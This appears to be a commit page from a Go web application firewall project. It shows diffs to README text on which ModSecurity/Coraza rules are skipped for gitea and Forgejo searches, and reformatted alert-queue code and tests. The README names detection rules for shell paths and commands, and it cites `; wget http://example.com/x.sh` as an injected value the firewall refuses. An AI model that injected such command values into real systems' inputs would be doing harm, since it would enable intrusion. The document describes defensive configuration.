Author SHA1 Message Date
sneak 50c3f61d39 Settings code: one file per daemon (closes #227)
check / check (push) Waiting to run
internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.

Model: opus-5-5
2026-11-11 14:30:52 +00:00
123 changed files with 2684 additions and 9835 deletions

No files matched your search

+3 -7
View File
@@ -711,8 +711,7 @@ on the host.
- `script/bootstrap`: installs on the host what the other scripts need, with - `script/bootstrap`: installs on the host what the other scripts need, with
`make bootstrap`: `make bootstrap`:
- `make`, `git` and `curl`; - `make`, `git` and `curl`;
- Go, for `gofmt` and to build `golines`; - Go, for `gofmt`;
- `golines`, at a pinned version, with `go install`;
- node, yarn and prettier. - node, yarn and prettier.
- `script/setup`: readies a fresh clone: `script/bootstrap`, then - `script/setup`: readies a fresh clone: `script/bootstrap`, then
`script/install-precommit`. `make setup`. `script/install-precommit`. `make setup`.
@@ -729,11 +728,8 @@ on the host.
the `tidy` stage of the `Dockerfile`. `make tidy`. the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
`make lint`. `make lint`.
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and - `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
the Markdown with prettier. `make fmt`. `make fmt`.
- `golines` wraps code at 77 columns but leaves comments and strings alone.
Wrap those by hand.
- The linter fails only lines longer than 88 columns.
- `script/fmt-check`: checks the formatting and changes nothing. - `script/fmt-check`: checks the formatting and changes nothing.
`make fmt-check`. `make fmt-check`.
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
+8 -33
View File
@@ -801,9 +801,8 @@ The changes hold in front of every app, and no setting undoes them:
- a file named `java.lang.String.md`. - a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the Every request from such a page would be refused. `Referer` keeps the
other rules, except after some searches of gitea and Forgejo (the eighth other rules, except after some gitea searches (the eighth change). An
and fifteenth changes). An app that passes `Referer` to a shell must app that passes `Referer` to a shell must check it itself.
check it itself.
6. Responses are not inspected. A raw file from a repository, such as a shell 6. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server. script, looks to the response rules like source code leaking from the server.
@@ -850,11 +849,6 @@ The changes hold in front of every app, and no setting undoes them:
Some of these searches also skip the rule for Java class names (944130), Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`. which refused `org.apache.commons.logging`.
A branch or package name can hold a slash, as `feat/docker-support`
does. So `q` on a repository's branches page and on an owner's packages
page also skips the rule for shell paths (932160), which refused
`/bin/sh`.
- The path of these requests, which names a file: - The path of these requests, which names a file:
- a file's page; - a file's page;
- its raw file; - its raw file;
@@ -1589,40 +1583,21 @@ The changes hold in front of every app, and no setting undoes them:
`/index.php/`. Elsewhere these fields keep every rule. An app other than `/index.php/`. Elsewhere these fields keep every rule. An app other than
Nextcloud that serves one of these paths must check these fields itself. Nextcloud that serves one of these paths must check these fields itself.
15. On Forgejo's paths, `q` on some of its searches skips the rules that refused 15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
change applies to its requests too. This change holds only what Forgejo change applies to its requests too. This change holds only what Forgejo
sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
rule and the search it refused. The searches are: rule and the search it refused:
- the search of a wiki, on `/<owner>/<repo>/wiki/search`;
- the search of a repository's releases, on `/<owner>/<repo>/releases` and
`/api/v1/repos/<owner>/<repo>/releases`;
- the search of a job's log, on
`/api/v1/repos/<owner>/<repo>/actions/jobs/<id>/logs`.
There `q` skips these rules:
- system files (930120), such as `.htaccess`; - system files (930120), such as `.htaccess`;
- Windows commands (932120), such as `powershell`; - Windows commands (932120), such as `powershell`;
- shell paths (932160), such as `/bin/sh`, except on the search of a job's - shell paths (932160), such as `/bin/sh`;
log;
- Unix commands (932250), such as `ls -la`; - Unix commands (932250), such as `ls -la`;
- command names (932260), such as `python3`. - command names (932260), such as `python3`.
`; wget http://example.com/x.sh`, path traversal, and SQL and script `; wget http://example.com/x.sh`, path traversal, and SQL and script
injection are still refused there. injection are still refused there. The path is `/<owner>/<repo>/wiki/search`
at the site root. An app other than Forgejo that serves such a path must
The search of a repository's code at a branch or a tag is on check `q` itself.
`/<owner>/<repo>/search/branch/<branch>` and
`/<owner>/<repo>/search/tag/<tag>`. The search box on a repository's home
page sends its search there when Forgejo has no code indexer, as by default.
There `q` skips the rules it skips on gitea's search of code in the eighth
change. So code, such as `<script>` or `SELECT * FROM users WHERE`, reaches
Forgejo in `q` there. `Referer` of a page opened from such a search skips
the rules for script and SQL injection and Java code, as after gitea's
searches (941110, 941120, 941160, 942100, 944100).
These paths are matched at the site root. An app other than Forgejo that
serves one of them must check `q` and `Referer` itself.
The parameter and cookie names in these changes are matched without regard to The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them. case, as Coraza matches them.
+18 -57
View File
@@ -291,15 +291,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string) asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string) name, _ := alert.Detail["name"].(string)
return cooldownKey{ return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
} }
// New returns a Queue with no alert yet. // New returns a Queue with no alert yet.
@@ -341,8 +333,7 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize // queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped. // alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) { func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
!slices.Contains(q.params.Events, alert.Event) {
return return
} }
@@ -389,8 +380,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now() now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
now.Sub(last.Sent) < q.params.Cooldown {
return false return false
} }
@@ -484,15 +474,10 @@ func (q *Queue) Snapshot() State {
} }
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or( return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
a.Netblock.Compare(b.Netblock), cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Event, b.Event), cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.File, b.File), cmp.Compare(a.Name, b.Name))
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
for _, d := range q.destinations { for _, d := range q.destinations {
@@ -624,12 +609,9 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string var reasons []string
if heldBack > 0 { if heldBack > 0 {
reasons = append( reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
reasons, "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
fmt.Sprintf("%d alerts held back in the hour from %s, "+ q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
)
} }
if repeats > 0 { if repeats > 0 {
@@ -708,19 +690,12 @@ func (d *destination) run(ctx context.Context) {
case ctx.Err() == nil: // not cut off as sww stops case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1) d.sendFailures.Add(1)
retryDelay = min( retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
max(retryDelayFactor*retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay) retryAt = time.Now().Add(retryDelay)
d.processLog.Warn( d.processLog.Warn("sending an alert to "+d.setting+" failed",
"sending an alert to "+d.setting+" failed", "error", err.Error(), "sending_again_in", retryDelay.String())
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
} }
} }
} }
@@ -808,12 +783,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout) ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
ctx, bytes.NewReader(body))
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
@@ -867,14 +838,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as // in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention. // Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) { func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer( escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{ body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -972,10 +936,7 @@ func text(alert *Alert) string {
} }
if alert.SuppressedRepeats > 0 { if alert.SuppressedRepeats > 0 {
lines = append( lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
} }
return strings.Join(lines, "\n") return strings.Join(lines, "\n")
+90 -314
View File
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE", Country: "DE",
Reason: "requests per minute over the limit of 1000", Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{ Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
}) })
synctest.Wait() synctest.Wait()
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
} }
if got[0].method != http.MethodPost || got[0].url != webhookURL { if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf( t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
} }
for name, want := range map[string]string{ for name, want := range map[string]string{
@@ -92,29 +84,21 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops", "X-Team": "ops",
} { } {
if got[0].header.Get(name) != want { if got[0].header.Get(name) != want {
t.Errorf( t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
} }
} }
wantAlert(t, got[0].alert, map[string]any{ wantAlert(t, got[0].alert, map[string]any{
"instance": instance, "instance": instance,
"time": started, "time": started,
"event": "ban", "event": "ban",
"client": "203.0.113.9", "client": "203.0.113.9",
"netblock": "203.0.113.0/24", "netblock": "203.0.113.0/24",
"asn": "", "asn": "",
"as_name": "", "as_name": "",
"country": "DE", "country": "DE",
"reason": "requests per minute over the limit of 1000", "reason": "requests per minute over the limit of 1000",
"detail": map[string]any{ "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
}) })
wantCounts(t, q, 1, 0, 0, 0) wantCounts(t, q, 1, 0, 0, 0)
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params) webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{ q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError) wantEvents(t, webhook, alerts.EventFileError)
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel() t.Parallel()
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params) q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error( t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
)
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -222,10 +188,7 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
"SWW_ALERT_NTFY_URL": onlyNtfy, "SWW_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf( t.Errorf("a ban alert would not be sent with only %s set", setting)
"a ban alert would not be sent with only %s set",
setting,
)
} }
} }
} }
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait() synctest.Wait()
got := webhook.received() got := webhook.received()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct { for i, want := range []struct {
netblock int netblock int
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() || if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats { alert["suppressed_repeats"] != want.repeats {
t.Errorf( t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
"alert %d is for %v with %v repeats, want %s with %v", alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
i, want.repeats)
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
} }
} }
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
}) })
} }
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -303,11 +253,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
webhook, q := start(t, params) webhook, q := start(t, params)
fileError := func(file string) alerts.Alert { fileError := func(file string) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Detail: map[string]any{ Detail: map[string]any{"file": file, "error": "line 2: an error"},
"file": file,
"error": "line 2: an error",
},
} }
} }
sourceFailure := func(source string) alerts.Alert { sourceFailure := func(source string) alerts.Alert {
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
} }
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
"the webhook was sent alerts for %v, want %v",
got,
want,
)
} }
wantCounts(t, q, 4, 0, 2, 0) wantCounts(t, q, 4, 0, 2, 0)
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
after.Raise(fileError("/rules.d/50-c.rules")) after.Raise(fileError("/rules.d/50-c.rules"))
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
waiting[0].Detail["file"] != "/rules.d/50-c.rules" { t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
} }
}) })
} }
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError}) q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before. // The summary is sent as the hour ends, and not before.
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{ wantAlert(t, summary, map[string]any{
@@ -436,9 +364,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
"events": map[string]any{ "events": map[string]any{
"ban": float64( "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
1,
), "permanent_ban": float64(1), "file_error": float64(1),
}, },
}, },
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0) wantCounts(t, q, 4, 0, 3, 0)
}) })
} }
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
params.MaxPerHour = 1 params.MaxPerHour = 1
webhook, q := start(t, params) webhook, q := start(t, params)
raise := func() { raise := func() {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
} }
// The hour's one alert, and two repeats the cooldown holds back. // The hour's one alert, and two repeats the cooldown holds back.
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
raise() raise()
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received() got := webhook.received()
if len(got) == 3 { if len(got) == 3 {
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
summaryRepeats := got[1].alert["suppressed_repeats"] summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) { lastRepeats != float64(0) {
t.Errorf( t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
"the summary counts %v alerts and %v repeats, and the last "+ "alert gives %v repeats, want 1, 2 and 0", detail["count"],
"alert gives %v repeats, want 1, 2 and 0", summaryRepeats, lastRepeats)
detail["count"],
summaryRepeats,
lastRepeats,
)
} }
} }
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
}) })
} }
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) { if kept > int(cooldown/time.Minute) {
t.Errorf( t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
"after %d netblocks, %d cooldowns are kept, want at most %d", netblocks, kept, int(cooldown/time.Minute))
netblocks,
kept,
int(cooldown/time.Minute),
)
} }
} }
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) { if kept != 0 || repeats != float64(netblocks) {
t.Errorf( t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
"%d cooldowns are kept and the webhook was given %v repeats, "+ "want 0 and %d", kept, repeats, netblocks)
"want 0 and %d",
kept,
repeats,
netblocks,
)
} }
}) })
}) })
@@ -726,14 +620,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) || `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains( strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
logged, t.Errorf("process log %q names no failure, or names the URL", logged)
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the // than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped. // one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 { if n == 0 {
synctest.Wait() synctest.Wait()
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1) wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
waiting[0].Netblock != netblock(1) { t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
t.Fatalf( len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
} }
// The request is abandoned after 10 seconds, and the webhook, which // The request is abandoned after 10 seconds, and the webhook, which
@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received() got := webhook.received()
if len(got) != alerts.QueueSize+1 || if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() { got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf( t.Fatalf("the webhook had %d requests, want %d, the first for %s",
"the webhook had %d requests, want %d, the first for %s", len(got), alerts.QueueSize+1, netblock(0))
len(got),
alerts.QueueSize+1,
netblock(0),
)
} }
for i, request := range got[1:] { for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() { if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf( t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
"request %d is for %v, want %s", netblock(i+1))
i+1,
request.alert["netblock"],
netblock(i+1),
)
} }
} }
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the // Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit. // cooldown, and the file error past the hourly limit.
before.Raise( before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError}) before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute) time.Sleep(time.Minute)
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as // The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which // the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out. // gives both repeats, as the cooldown has run out.
after.Raise( after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan) wantEvents(t, webhook, alerts.EventBan)
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any) detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
summary["suppressed_repeats"] != float64(2) { t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
t.Errorf( detail["count"], summary["suppressed_repeats"])
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
} }
}) })
} }
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want { for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage( wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
} }
